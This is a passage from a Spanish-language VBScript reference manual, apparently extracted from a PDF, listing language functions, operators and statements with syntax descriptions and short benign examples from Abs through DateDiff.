Crea y devuelve una referencia a un objeto de Automatización.
CSng (Función)
Devuelve una expresión convertida a una Variant del subtipo Single.
CStr (Función)
Devuelve una expresión convertida a una Variant del subtipo String.
Date (Función)
Devuelve la fecha del sistema actual.
DateAdd (Función)
Devuelve una fecha a la que se agregó un intervalo de tiempo especificado.
DateDiff (Función)
Devuelve el número de intervalos entre dos fechas.
DatePart (Función)
Devuelve la parte especificada de una fecha dada.
DateSerial (Función)
Devuelve una Variant del subtipo Date para un año, mes y día especificados.
DateValue (Función)
Devuelve una Variant del subtipo Date.
Day (Función)
Devuelve un número entero entre 1 y 31, ambos inclusive, que representa el día del mes.
Eval (Función)
Evalúa una expresión y devuelve el resultado.
Exp (Función)
Devuelve e (la base de los logaritmos naturales) elevado a una potencia.
Filter (Función)
Devuelve una matriz con base cero que contiene un subconjunto de una matriz de cadenas basado en un criterio de filtro especificado.
Fix (Función)
Devuelve la parte entera de un número.
FormatCurrency (Función)
Devuelve una expresión con formato de moneda utilizando el símbolo de moneda definido en el Panel de control del sistema.
FormatDateTime (Función)
Devuelve una expresión con formato de fecha u hora.
FormatNumber (Función)
Devuelve una expresión con formato de número.
FormatPercent (Función)
Devuelve una expresión con formato de porcentaje (multiplicado por 100) con un caracter % final.
GetObject (Función)
Devuelve una referencia a un objeto de Automatización de un archivo.
GetRef (Función)
Devuelve una referencia a un procedimiento que se puede enlazar a un evento.
Hex (Función)
Devuelve una cadena que representa el valor hexadecimal de un número.
Hour (Función)
Devuelve un número entero entre 0 y 23, ambos inclusive, que representa la hora del día.
InputBox (Función)
Muestra un aviso en un cuadro de diálogo, espera a que el usuario escriba texto o haga clic en un botón y devuelve el contenido del cuadro de texto.
InStr (Función)
Devuelve la posición del primer caso de una cadena dentro de otra.
InStrRev (Función)
Devuelve la posición de la aparición de una cadena dentro de otra, desde el final de la cadena.
Int (Función)
Devuelve la parte entera de un número.
IsArray (Función)
Devuelve un valor Boolean que indica si una variable es una matriz.
IsDate (Función)
Devuelve un valor Boolean que indica si una expresión se puede convertir a una fecha.
IsEmpty (Función)
Devuelve un valor Boolean que indica si se inicializó una variable.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
9
IsNull (Función)
Devuelve un valor Boolean que indica si una expresión no contiene datos válidos (Null).
IsNumeric (Función)
Devuelve un valor Boolean que indica si se puede evaluar una expresión como un número.
IsObject (Función)
Devuelve un valor Boolean que indica si una expresión hace referencia a un objeto de Automatización válido.
Join (Función)
Devuelve una cadena creada uniendo varias subcadenas contenidas en una matriz.
LBound (Función)
Devuelve el subíndice más pequeño disponible para la dimensión indicada de una matriz.
LCase (Función)
Devuelve una cadena convertida a minúsculas.
Left (Función)
Devuelve un número especificado de caracteres del lado izquierdo de una cadena.
Len (Función)
Devuelve el número de caracteres en una cadena o el número de bytes necesarios para almacenar una variable.
LoadPicture (Función)
Devuelve un objeto de imagen. Sólo disponible en plataformas de 32 bits.
Log (Función)
Devuelve el logaritmo natural de un número.
LTrim (Función)
Devuelve una copia de una cadena sin espacios iniciales.
Mid (Función)
Devuelve un número especificado de caracteres de una cadena.
Minute (Función)
Devuelve un número entero entre 0 y 59, ambos inclusive, que representa el minuto de la hora.
Month (Función)
Devuelve un número entero entre 1 y 12, ambos inclusive, que representa el mes del año.
MonthName (Función)
Devuelve una cadena que indica el mes especificado.
MsgBox (Función)
Muestra un mensaje en un cuadro de diálogo, espera a que el usuario escriba texto o haga clic en un botón y devuelve un valor que indica el botón en el que hizo clic el usuario.
Now (Función)
Devuelve la fecha y hora actual según los valores de fecha y hora de sistema del equipo.
Oct (Función)
Devuelve una cadena que representa el valor octal de un número.
Replace (Función)
Devuelve una cadena en la que se reemplazó una subcadena especificada con otra subcadena un número especificado de veces.
RGB (Función)
Devuelve un número entero que representa un valor de color RGB.
Right (Función)
Devuelve un número de caracteres especificado del lado derecho de una cadena.
Rnd (Función)
Devuelve un número aleatorio.
Round (Función)
Devuelve un número redondeado a un número especificado de lugares decimales.
RTrim (Función)
Devuelve una copia de una cadena sin espacios finales.
ScriptEngine (Función)
Devuelve una cadena que representa el lenguaje de secuencias de comandos en uso.
ScriptEngineBuildVersion (Función)
Devuelve el número de versión de la compilación del motor de secuencias de comandos en uso.
ScriptEngineMajorVersion (Función)
Devuelve el número de la versión principal del motor de secuencias de comandos en uso.
ScriptEngineMinorVersion (Función)
Devuelve el número de la versión secundaria del motor de secuencias de comandos en uso.
Second (Función)
Devuelve un número entero entre 0 y 59, ambos inclusive, que representa el segundo de un minuto.
Sgn (Función)
Devuelve un número entero que indica el signo de un número.
Sin (Función)
Devuelve el seno de un ángulo.
Space (Función)
Devuelve una cadena compuesta por el número especificado de espacios.
Split (Función)
Devuelve una matriz unidimensional con base cero que contiene un número especificado de subcadenas.
Sqr (Función)
Devuelve la raíz cuadrada de un número.
StrComp (Función)
Devuelve un valor que indica el resultado de una comparación de cadenas.
String (Función)
Devuelve una cadena de caracteres repetidos de la longitud especificada.
StrReverse (Función)
Devuelve una cadena en la que se invirtió el orden de los caracteres de una cadena especificada.
Tan (Función)
Devuelve la tangente de un ángulo.
Time (Función)
Devuelve una Variant del subtipo Date que indica la hora actual del sistema.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
10
Timer (Función)
Devuelve el número de segundos que transcurrieron desde las 12:00 a.m. (medianoche).
TimeSerial (Función)
Devuelve una Variant del subtipo Date que contiene la hora para una hora, minuto y segundo específicos.
TimeValue (Función)
Devuelve una Variant del subtipo Date que contiene la hora.
Trim (Función)
Devuelve una copia de una cadena sin espacios iniciales o finales.
TypeName (Función)
Devuelve una cadena que proporciona información de subtipos Variant acerca de una variable.
UBound (Función)
Devuelve el mayor subíndice disponible para la dimensión indicada de una matriz.
UCase (Función)
Devuelve una cadena convertida a mayúsculas.
VarType (Función)
Devuelve un valor que indica el subtipo de una variable.
Weekday (Función)
Devuelve un número entero que representa el día de la semana.
WeekdayName (Función)
Devuelve una cadena que indica el día de la semana especificado.
Year (Función)
Devuelve un número entero que representa el año.
Clear (Método)
Borra todos los valores de propiedad del objeto Err.
Execute (Método)
Ejecuta una búsqueda de expresión regular en una cadena especificada.
Raise (Método)
Genera un error en tiempo de ejecución.
Replace (Método)
Reemplaza el texto encontrado en una búsqueda de expresión regular.
Test (Método)
Ejecuta una búsqueda de expresión regular en una cadena especificada.
Class (Objeto)
Proporciona acceso a los eventos de una clase creada.
Dictionary (Objeto)
Objeto que almacena pares de elemento y clave de datos.
Err (Objeto)
Contiene la información acerca de los errores en tiempo de ejecución.
FileSystemObject (Objeto)
Proporciona acceso al sistema de archivos de un equipo.
Match (Objeto)
Proporciona acceso a las propiedades de sólo lectura de una coincidencia de expresión regular.
Matches (Colección)
Colección de objetos Match de expresión regular.
RegExp (Objeto)
Proporciona compatibilidad con expresiones regulares simples.
Suma (+) (Operador)
Suma dos números.
And (Operador)
Realiza una conjunción lógica de dos expresiones.
Asignación (=)(Operador)
Asigna un valor a una variable o propiedad.
Concatenación (&)(Operador)
Fuerza la concatenación de cadenas de dos expresiones.
División (/) (Operador)
Divide dos números y devuelve un resultado de punto flotante.
Eqv (Operador)
Realiza una equivalencia lógica de dos expresiones.
Exponenciación (^) (Operador)
Eleva un número a la potencia de un exponente.
Imp (Operador)
Realiza una implicación lógica de dos expresiones.
División entera (\) (Operador)
Divide dos números y devuelve un resultado entero.
Is (Operador)
Compara las variables de referencia de dos objetos.
Mod (Operador)
Divide dos números y devuelve sólo el resto.
Multiplicación (*) (Operador)
Multiplica dos números.
Negación (-)(Operador)
Indica el valor negativo de una expresión numérica.
Not (Operador)
Realiza la negación lógica de una expresión.
Precedencia de operadores
Lista que muestra el orden de precedencia para diversos operadores utilizados en VBScript.
Or (Operador)
Realiza una disyunción lógica de dos expresiones.
Resta (-)(Operador)
Encuentra la diferencia entre dos números o indica el valor negativo de una expresión
By KarlosVid(ÊÇ)
www.idat.byethost14.com
11
numérica.
Xor (Operador)
Realiza una exclusión lógica de dos expresiones.
Description (Propiedad)
Devuelve o establece una cadena descriptiva asociada con un error.
FirstIndex (Propiedad)
Devuelve la posición en una cadena de búsqueda donde ocurre una coincidencia.
Global (Propiedad)
Establece o devuelve un valor booleano.
HelpContext (Propiedad)
Establece o devuelve un Id. de contexto para un tema en un archivo de Ayuda.
HelpFile (Propiedad)
Establece o devuelve una ruta completa a un archivo de Ayuda
IgnoreCase (Propiedad)
Establece o devuelve un valor booleano que indica si una búsqueda de patrón distingue las mayúsculas de las minúsculas.
Length (Propiedad)
Devuelve la longitud de una coincidencia encontrada en una cadena de búsqueda.
Number (Propiedad)
Devuelve o establece un valor numérico que especifica un error.
Pattern (Propiedad)
Establece o devuelve el patrón de expresión regular que se busca.
Source (Propiedad)
Devuelve o establece el nombre del objeto o aplicación que generó originalmente el error.
Value (Propiedad)
Devuelve el valor o texto de una coincidencia encontrada en una cadena de búsqueda.
Call (Instrucción)
Traspasa el control a un procedimiento Sub o Function.
Class (Instrucción)
Declara el nombre de una clase.
Const (Instrucción)
Declara constantes para utilizar en lugar de los valores literales.
Dim (Instrucción)
Declara variables y asigna espacio de almacenamiento.
Do...Loop (Instrucción)
Repite un bloque de instrucciones mientras una condición sea True o hasta que una condición se vuelva True.
Erase (Instrucción)
Vuelve a inicializar los elementos de matrices de tamaño fijo y anula la asignación del espacio de almacenamiento de la matriz dinámica.
Execute (Instrucción)
Ejecuta una o más instrucciones especificadas.
Exit (Instrucción)
Sale de un bloque de código Do...Loop, For...Next, Function o Sub.
For...Next (Instrucción)
Repite un grupo de instrucciones un número de veces especificado.
For Each...Next (Instrucción)
Repite un grupo de instrucciones para cada elemento en una matriz o colección.
Function (Instrucción)
Declara el nombre, argumentos y código que forman el cuerpo de un procedimiento Function.
If...Then...Else (Instrucción)
Ejecuta de forma condicional un grupo de instrucciones, según el valor de una expresión.
On Error (Instrucción)
Habilita el control de errores.
Option Explicit (Instrucción)
Fuerza la declaración explicita de todas las variables en una secuencia de comandos.
Private (Instrucción)
Declara las variables privadas y asigna el espacio de almacenamiento.
PropertyGet (Instrucción)
Declara el nombre, argumentos y código que forman el cuerpo de un procedimiento Property que obtiene (devuelve) el valor de una propiedad.
PropertyLet (Instrucción)
Declara el nombre, argumentos y código que forman el cuerpo de un procedimiento Property que asigna el valor de una propiedad.
PropertySet (Instrucción)
Declara el nombre, argumentos y código que forman el cuerpo de un procedimiento Property que establece una referencia a un objeto.
Public (Instrucción)
Declara variables públicas y asigna espacio de almacenamiento.
Randomize (Instrucción)
Inicializa el generador de números aleatorios.
ReDim (Instrucción)
Declara variables de matriz dinámica y asigna o vuelve a asignar espacio de almacenamiento en el nivel de procedimiento.
Rem (Instrucción)
Incluye observaciones explicatorias en un programa.
Select Case (Instrucción)
Ejecuta uno de entre varios grupos de instrucciones, según el valor de una expresión.
Set (Instrucción)
Asigna una referencia de objeto a una variable o propiedad.
Sub (Instrucción)
Declara el nombre, argumentos y código que forman el cuerpo de un procedimiento Sub.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
12
While...Wend (Instrucción)
Ejecuta una serie de instrucciones mientras una condición dada sea True.
With (Instrucción)
Ejecuta una serie de instrucciones en un objeto único.
FUNCIONES Función Abs Descripción Devuelve el valor absoluto de un número.
Sintaxis Abs(número) El argumento número puede ser cualquier expresión numérica válida. Si número contiene Null, se devuelve Null ; si es un valor no iniciado, se devuelve cero.
Comentarios El valor absoluto de un número es su magnitud sin signo. Por ejemplo, Abs(-1) y Abs(1) devuelven 1. El siguiente ejemplo usa la función Abs para compute the absolute value of a number: Dim MiNumero MiNumero = Abs(50.3) ' Devuelve 50.3. MiNumero = Abs(-50.3) ' Devuelve 50.3.
Función Array Descripción Devuelve un objeto Variant que contiene una matriz.
Sintaxis Array(listadeargumentos) El argumento requerido listadeargumentos es una lista de valores separados por comas, que se asignan a los elementos de una matriz contenida en el objeto Variant. Si no se especifica ningún argumento, se crea una matriz de longitud cero.
Comentarios La notación usada para hacer referencia a un elemento de una matriz, consta del nombre de la variable seguido de paréntesis que contienen un número de índice que indica el elemento deseado. En el siguiente ejemplo, la primera instrucción crea una variable llamada A. La segunda instrucción asigna una matriz a la variable A. La última instrucción asigna el valor contenido en la segunda matriz a otra variable. Dim A A = Array(10,20,30)
By KarlosVid(ÊÇ)
www.idat.byethost14.com
13
B = A(2) ' B es ahora 30. Nota Una variable que no está declarada como matriz puede contener una matriz. Aunque una variable Variant que contiene una matriz es, conceptualmente, diferente a una variable de matriz que contiene elementos Variant, el acceso a los elementos de la matriz es igual.
Función Asc Descripción Devuelve el código de carácter ANSI que corresponde a la primera letra de una cadena.
Sintaxis Asc(cadena) El argumento cadena es cualquier expresión de cadena válida. Si cadena no contiene ningún carácter, se produce un error en tiempo de ejecución.
Comentarios En el ejemplo siguiente, Asc devuelve el código de carácter ANSI de la primera letra de cada cadena: Dim MiNumero MiNumero = Asc("A") ' Devuelve 65. MiNumero = Asc("a") ' Devuelve 97. MiNumero = Asc("Azúcar") ' Devuelve 65. Nota La función AscB se usa con los datos de bytes contenidos en una cadena. En lugar de devolver el código de carácter para el primer carácter, AscB devuelve el primer byte. AscW se proporciona para plataformas de 32 bits que usan caracteres Unicode. Esta función devuelve el código de carácter Unicode, evitando así la conversión de Unicode a ANSI.
Función Atn Descripción Devuelve el arcotangente de un número.
Sintaxis Atn(número) El argumento número puede ser cualquier expresión numérica válida.
Comentarios La función Atn recibe el radio de dos lados de un triángulo recto (número) y devuelve el ángulo correspondiente en radianes. El radio es la longitud del lado opuesto al ángulo, dividido por la longitud del lado adyacente al ángulo. El intervalo del resultado varía entre -pi/2 y pi/2 radianes. Para convertir grados en radianes, multiplique los grados por pi/180. Para convertir radianes en grados, multiplique los radianes por 180/pi. El siguiente ejemplo usa Atn para calcular el valor de pi: Dim pi pi = 4 * Atn(1)
' Calcula el valor de pi.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
14
Nota Atn es la función trigonométrica inversa de Tan, que recibe un ángulo como argumento y devuelve el radio (proporción) de dos lados de un triángulo recto. No confunda Atn con la cotangente, que es el inverso simple de una tangente (1/tangente).
Función CBool Descripción Devuelve una expresión convertida en Variant de subtipo Boolean.
Sintaxis CBool(expresión) El argumento expresión es cualquier expresión válida.
Comentarios Si expresión es cero, se devuelve False; de lo contrario, se devuelve True. Si expresiónno se puede interpretar como valor numérico, se produce un error en tiempo de ejecución. El siguiente ejemplo usa la función CBool para convertir una expresión en Boolean. Si la expresión se evalúa como un valor distinto de cero, CBool devuelve True; de lo contrario, devuelve False. Dim A, B, Comprobacion A = 5: B = 5 ' Inicia variables. Comprobacion = CBool(A = B) ' Comprobacion contiene True. A=0 ' Define la variable. Comprobacion = CBool(A) ' Comprobacion contiene False.
Función CByte Descripción Devuelve una expresión que se convirtió en Variant de subtipo Byte.
Sintaxis CByte(expresión) El argumento expresión es cualquier expresión válida.
Comentarios En general, puede documentar su código con las funciones de conversión de subtipos para mostrar que el resultado de alguna operación se debe expresar como un tipo de datos particular, en lugar del tipo de datos predeterminado. Por ejemplo, use CByte para forzar aritmética de tipo byte en casos en los que normalmente se usaría aritmética de moneda, precisión simple, precisión doble o entero. Use la función CByte para proporcionar conversiones que se adapten a los formatos internacionales desde cualquier tipo de datos al subtipo Byte. Por ejemplo, distintos separadores decimales se reconocen correctamente según la configuración regional de su sistema, al igual que los distintos separadores de unidades de mil.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
15
Si expresión está fuera del intervalo aceptable para el subtipo Byte, se produce un error. El siguiente ejemplo usa la función CByte para convertir una expresión en byte: Dim MiDoble, MiByte MiDoble = 125.5678 ' MiDoble es un Double. MiByte = CByte(MiDoble) ' MiByte contiene 126.
Función CCur Descripción Devuelve una expresión que se convirtió en Variant de subtipo Currency.
Sintaxis CCur(expresión) El argumento expresión es cualquier expresión válida.
Comentarios En general, puede documentar su código con las funciones de conversión de subtipos para mostrar que el resultado de alguna operación se debe expresar como un tipo de datos particular, en lugar del tipo de datos predeterminado. Por ejemplo, use CCur para forzar aritmética de moneda en casos en los que normalmente se usaría aritmética entera. Debe usar la función CCur para proporcionar conversiones internacionales estándar desde cualquier tipo de datos al subtipo Currency. Por ejemplo, distintos separadores de decimales o de miles se reconocen correctamente según la configuración regional de su sistema. El siguiente ejemplo usa la función CCur para convertir una expresión en tipo de datos Currency: Dim MiDoble, MiMoneda MiDoble = 543.214588 ' MiDoble es de tipo Double. MiMoneda = CCur(MiDoble * 2) ' Convierte el resultado de MiDoble * 2 (1086.429176) ' en tipo de datos Currency (1086.4292).
Función CDate Descripción Devuelve una expresión que se convirtió en Variant del subtipo Date.
Sintaxis CDate(fecha) El argumento fecha es cualquier expresión de fecha válida.
Comentarios Use la función IsDate para determinar si se puede convertir fecha en una fecha u hora. CDate reconoce literales de fecha y literales de hora, así como algunos números que se encuentran dentro del rango de fechas aceptable. Al convertir un número a fecha, la parte entera del número se convierte en una fecha. Cualquier parte fraccionaria del número se convierte en una hora del día, a partir de medianoche.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
16
CDate reconoce los formatos de fecha según la configuración regional del sistema. No se puede determinar el orden correcto de día, mes y año si éstos se proporcionan en un formato que no coincida con los valores de configuración reconocidos. Además, no se reconoce un formato de fecha largo si también contiene la cadena día-de-la-semana. En el siguiente ejemplo se usa la función CDate para convertir una cadena en una fecha. En general, no se recomienda establecer fechas y horas como cadenas mediante programación (como se muestra en este ejemplo). En su lugar, use literales de fecha y hora, como #10/19/1962# o #4:45:23 PM#. MiFecha = "19 de octubre de 1962" ' Define la fecha. MiHoraCorta = CDate(MiFecha) ' Convierte al tipo de datos Date. MiHoraCompleta = "4:35:47 PM" ' Define la hora completa. MiHoraCorta = CDate(MiHoraCompleta) ' Convierte al tipo de datos Date.
Función CDbl Descripción Devuelve una expresión que se convirtió en Variant de subtipo Double.
Sintaxis CDbl(expresión) El argumento expresión es cualquier expresión válida.
Comentarios En general, puede documentar su código con las funciones de conversión de subtipos para mostrar que el resultado de alguna operación se debe expresar como un tipo de datos particular, en lugar del tipo de datos predeterminado. Por ejemplo, use CDbl o CSng para forzar aritmética de doble precisión o simple precisión en casos en los que normalmente se usaría aritmética de moneda o de entero. Use la función CDbl para proporcionar conversiones internacionales estándar desde cualquier tipo de datos al subtipo Double. Por ejemplo, distintos separadores de decimales y de miles se reconocen correctamente según la configuración regional de su sistema. Este ejemplo usa la función CDbl para convertir una expresión en Double. Dim MiMoneda, MiDoble MiMoneda = CCur(234.456784) ' MiMoneda es de tipo Currency(234.4567). MiDoble = CDbl(MiMoneda * 8.2 * 0.01) ' Convierte el resultado en Double(19.2254576).
Función Chr Descripción Devuelve el carácter asociado al código de carácter ANSI especificado.
Sintaxis Chr(códigodecarácter) El argumento códigodecarácter es un número que identifica un carácter.
Comentarios By KarlosVid(ÊÇ)
www.idat.byethost14.com
17
Los números entre 0 y 31 son iguales a los códigos ASCII estándar, no imprimibles. Por ejemplo, Chr(10) devuelve un carácter de avance de línea. El siguiente ejemplo usa la función Chr para devolver el carácter asociado al código de carácter especificado: Dim MiCaracter MiCaracter = Chr(65) MiCaracter = Chr(97) MiCaracter = Chr(62) MiCaracter = Chr(37)
' ' ' '
Devuelve Devuelve Devuelve Devuelve
A. a. >. %.
Nota La función ChrB se usa con los datos de byte contenidos en una cadena. En lugar de devolver un carácter, que puede ser de uno o dos bytes, ChrB siempre devuelve un byte simple. ChrW se proporciona para plataformas de 32 bits que usan caracteres Unicode. Su argumento es un código de carácter Unicode, que evita que la conversión des ANSI a Unicode.
Función CInt Descripción Devuelve una expresión que se convirtió enVariant del subtipo Integer.
Sintaxis CInt(expresión) El argumento expresión es cualquier expresión válida.
Comentarios En general, puede documentar su código con las funciones de conversión de subtipos para mostrar que el resultado de alguna operación se debería expresar como un tipo de datos particular, en lugar del tipo de datos predeterminado. Por ejemplo, use CInt o CLng para forzar aritmética de enteros en casos en los que normalmente se usaría aritmética de moneda, precisión simple o precisión doble. Use la función CInt para proporcionar conversiones internacionales estándar desde cualquier tipo de datos al subtipo Integer. Por ejemplo, distintos separadores de decimales y de miles se reconocen correctamente según la configuración regional de su sistema. Si expresión está fuera del intervalo aceptable para el subtipo Integer, se produce un error. El siguiente ejemplo usa la función CInt para convert a value to an Integer: Dim MiDoble, MiEntero MiDoble = 2345.5678 MiEntero = CInt(MiDoble)
' MiDoble es de tipo Double. ' MiEntero contiene 2346.
Nota CInt es distinta a las funciones Fix y de Int, que truncan, en lugar de redondear, la parte fraccionaria de un número. Cuando la parte fraccionaria es exactamente igual a 0,5, la función CInt siempre redondea el número al siguiente número par. Por ejemplo, 0,5 se redondea a 0 y 1,5 se redondea a 2.
Función CLng Descripción Devuelve una expresión que se convirtió en Variant del subtipo Long.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
18
Sintaxis CLng(expresión) El argumento expresión es cualquier expresión válida.
Comentarios En general, puede documentar su código con las funciones de conversión de subtipos para mostrar que el resultado de alguna operación se debería expresar como un tipo de datos particular, en lugar del tipo de datos predeterminado. Por ejemplo, use CInt o CLng para forzar aritmética de enteros en casos en los que, normalmente, se usaría aritmética de precisión simple o precisión doble. Use la función CLng para proporcionar conversiones internacionales estándar desde cualquier tipo de datos al subtipo Long. Por ejemplo, distintos separadores decimales o de miles se reconoce correctamente según la configuración regional de su sistema. Si expresión está fuera del intervalo aceptable para el subtipo Long, se produce un error. El siguiente ejemplo usa la función CLng para convertir un valor en Long: Dim MiVal1, MiVal2, MiLong1, MiLong2 MiVal1 = 25427.45: MiVal2 = 25427.55 ' MiVal1, MiVal2 son de tipo Double. MiLong1 = CLng(MiVal1) ' MiLong1 contiene 25427. MiLong2 = CLng(MiVal2) ' MiLong2 contiene 25428.
Nota CInt es distinta a las funciones Fix y de Int, que truncan, en lugar de redondear, la parte fraccionaria de un número. Cuando la parte fraccionaria es exactamente igual a 0,5, la función CInt siempre redondea el número al siguiente número par. Por ejemplo, 0,5 se redondea a 0 y 1,5 se redondea a 2.
Función Cos Descripción Devuelve el coseno de un ángulo.
Sintaxis Cos(número) El argumento número puede ser cualquier expresión numérica válida que expresa un ángulo en radianes.
Comentarios La función Cos recibe un ángulo y devuelve el radio de dos lados de un triángulo rectángulo. El radio es la longitud del lado adyacente al ángulo dividido por la longitud de la hipotenusa. El resultado varía entre -1 y 1. Para convertir grados en radianes, multiplique los grados por pi/180. Para convertir radianes en grados, multiplique los radianes por 180/pi. El siguiente ejemplo usa la función Cos para devolver el coseno de un ángulo: Dim MiAngulo, MiSecante MiAngulo = 1.3 ' Define el ángulo en radianes. MiSecante = 1 / Cos(MiAngulo) ' Calcula la secante.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
19
Función CreateObject Descripción Crea y devuelve una referencia a un objeto de Automatización.
Sintaxis CreateObject(nombreServidor.nombreTipo [, ubicación]) La sintaxis de la función CreateObject tiene las siguientes partes: Parte
Descripción
nombreServidor
Necesario. El nombre de la aplicación que proporciona el objeto.
nombreTipo
Necesario. El tipo o clase del objeto que se va a crear.
ubicación
Opcional. El nombre del servidor de red donde se va a crear el objeto.
Comentarios Los servidores de automatización proporcionan, al menos, un tipo de objeto. Por ejemplo, una aplicación de proceso de textos puede proporcionar un objeto Application, un objeto Document y un objeto Toolbar. Para crear un objeto de automatización, asigne el objeto devuelto por CreateObject a una variable de objeto: Dim HojaExcel Set HojaExcel = CreateObject("Excel.Sheet") Este código inicia la aplicación que crea el objeto (en este caso, una hoja de cálculo de Microsoft Excel). Una vez creado un objeto, se hace referencia al mismo en el código mediante el uso de la variable de objeto que definió. Como se muestra en el siguiente ejemplo, se puede tener acceso a las propiedades y métodos del nuevo objeto mediante la variable de objeto, ExcelSheet y otros objetos de Excel, incluido el objeto Application y la colección ActiveSheet.Cells. ' Hace visible Excel mediante el objeto Application. HojaExcel.Application.Visible = True ' Coloca algún texto en la primera celda de la hoja. HojaExcel.ActiveSheet.Cells(1,1).Value = "Esta es la columna A, fila 1" ' Guarda la hoja. HojaExcel.SaveAs "C:\DOCS\PRUEBA.XLS" ' Cierra Excel con el método Quit del objeto Application. HojaExcel.Application.Quit ' Libera la variable de objeto. Set HojaExcel = Nothing Sólo se puede crear un objeto en un servidor remoto cuando la seguridad de Internet está desactivada. Puede crear un objeto en un equipo en red remoto pasando el nombre del equipo al argumento nombreServidor de CreateObject. Ese nombre es el mismo que la parte de nombre del equipo de un nombre de recurso compartido. Para un recurso compartido en red llamado "\\miservidor\publico", el nombreServidor es "miservidor". Además, puede especificar nombreServidor utilizando el formato DNS o una dirección IP. El código siguiente devuelve el número de la versión de una instancia de Excel que se ejecuta en un equipo de red remoto llamado "miservidor": Function GetVersion Dim XLApp Set XLApp = CreateObject("Excel.Application", "MiServidor") GetVersion = XLApp.Version End Function
By KarlosVid(ÊÇ)
www.idat.byethost14.com
20
Ocurre un error si el servidor remoto especificado no existe o no se puede encontrar.
Función CSng Descripción Devuelve una expresión que se convirtió en Variant del subtipo Single.
Sintaxis CSng(expresión) El argumento expresión es cualquier expresión válida.
Comentarios En general, puede documentar su código con las funciones de conversión de tipos de datos para mostrar que el resultado de algunas operaciones se debería expresar como un tipo de datos particular, en lugar del tipo de datos predeterminado. Por ejemplo, use CDbl o CSng para forzar aritmética de precisión doble o precisión simple en casos en los que, normalmente, se usaría aritmética de moneda o de enteros. Use la función CSng para propocionar conversiones internacionales estándar desde cualquier tipo de datos al subtipo Single. Por ejemplo, distintos separadores decimales o de miles se reconocen correctamente según la configuración local de su sistema. Si expresión está fuera del intervalo aceptable para el subtipo Single, se produce un error. El siguiente ejemplo usa la función CSng para convertir un valor en Single: Dim MiDoble1, MiDoble2, MiSimple1, MiSimple2 ' MiDoble1, MiDoble2 son de tipo Double. MiDoble1 = 75.3421115: MiDoble2 = 75.3421555 MiSimple1 = CSng(MiDoble1) ' MiSimple1 contiene 75.34211. MiSimple2 = CSng(MiDoble2) ' MiSimple2 contiene 75.34216.
Función CStr Descripción Devuelve una expresión que se convirtió en Variant del subtipo String.
Sintaxis CStr(expresión) El argumento expresión es cualquier expresión válida.
Comentarios En general, puede documentar su código con funciones de conversión de tipos de datos para mostrar que el resultado de alguna operación se debería expresar como un tipo de datos particular, en lugar del tipo de datos predeterminado. Por ejemplo, use CStr para forzar que el resultado se exprese como String. Debería usar la función CStr en lugar de Str para proporcionar conversiones internacionales estándar desde cualquier otro tipo de datos al subtipo String. Por ejemplo, distintos separadores decimales y de miles se reconocen correctamente según la configuración regional de su sistema.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
21
Los datos almacenados en expresión determinan el valor devuelto de acuerdo con la siguiente tabla: Si expresión es
CStr devuelve
Boolean
Un valor de tipo String que contiene True o False.
Date
Un valor de tipo String que contiene una fecha en formato de fecha corta de su sistema.
Null
Un error en tiempo de ejecución.
Empty
Un valor de tipo String de longitud cero ("").
Error
Un valor de tipo String que contiene la palabra Error seguido por el número de error.
Otro valor numérico
Un valor de tipo String contiene el número.
El siguiente ejemplo usa la función CStr para convertir un valor numérico en String: Dim MiDoble, MiCadena MiDoble = 437.324 ' MiDoble es de tipo Double. MiCadena = CStr(MiDoble) ' MiCadena contiene "437.324".
Función Date Descripción Devuelve la fecha actual del sistema.
Sintaxis Date
Comentarios El siguiente ejemplo usa la función Date para devolver la fecha actual del sistema: Dim MiFecha MiFecha = Date ' MiFecha contiene la fecha actual del sistema.
Función DateAdd Descripción Devuelve una fecha a la que se agregó un intervalo de tiempo especificado.
Sintaxis DateAdd(intervalo, número, fecha) La sintaxis de la función DateAdd tiene las siguientes partes: Parte
Descripción
intervalo Requerido. Expresión de cadena que es el intervalo que desea agregar. Consulte la sección Valores para saber cuáles son los valores permitidos. número
Requerido. Expresión numérica que es el número de intervalo que desea agregar. La expresión numérica puede ser positiva, para fechas futuras, o negativas, para fechas pasadas.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
22
fecha
Requerido. Variant o literal que representa la fecha a la que se agrega intervalo.
Valores El argumento intervalo puede tener los siguientes valores: Valor
Descripción
yyyy
Año
q
Trimestre
m
Mes
y
Día del año
d
Día
w
Día de la semana
ww
Semana del año
h
Hora
n
Minuto
s
Segundo
Comentarios Puede usar la función DateAdd para sumar o restar un intervalo de tiempo especificado a una fecha. Por ejemplo, puede usar DateAdd para calcular una fecha 30 días a partir de hoy o una hora 45 minutos desde ahora. Para agregar días a fecha, puede usar Día del año ("y"), Día ("d") o Día de la semana ("w"). La función DateAdd no devolverá una fecha no válida. El siguiente ejemplo suma un mes al 31 de enero: Nuevafecha = DateAdd("m", 1, "31-Ene-95") En este caso, DateAdd devuelve 28-Feb-95, no 31-Feb-95. Si fecha es 31-Ene-96, devuelve 29-Feb-96 porque 1996 es un año bisiesto. Si la fecha calculada es anterior al año 100, se produce un error. Si el número no es un valor de tipo Long, se redondea al número entero más cercano antes de evaluarlo.
Función DateDiff Descripción Devuelve el número de intervalos entre dos fechas.
Sintaxis DateDiff(intervalo, fecha1, fecha2 [,primerdíasemana[, primerasemanaaño]]) La sintaxis de la función DateDiff tiene las siguientes partes: Parte
Descripción
intervalo
Requerido. Expresión de cadena que es el intervalo que desea usar para calcular las diferencias entre fecha1 y fecha2. Consulte la sección Valores para saber cuáles son los valores permitidos.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
23
fecha1, fecha2
Requerido. Expresiones de fecha. Dos fechas que desea usar en el cálculo.
primerdíasemana
Opcional. Constante que especifica el día de la semana. Si no se especifica, se asume Domingo. Consulte la sección Valores para saber cuáles son los valores permitidos.
primerasemanaaño Opcional. Constante que especifica la primera semana del año. Si no se especifica, se asume que la primera semana es la semana del 1 de enero. Consulte la sección Valores para saber cuáles son los valores permitidos.
Valores El argumento intervalo puede tener los siguientes valores: Valor
Descripción
yyyy
Año
q
Trimestre
m
Mes
y
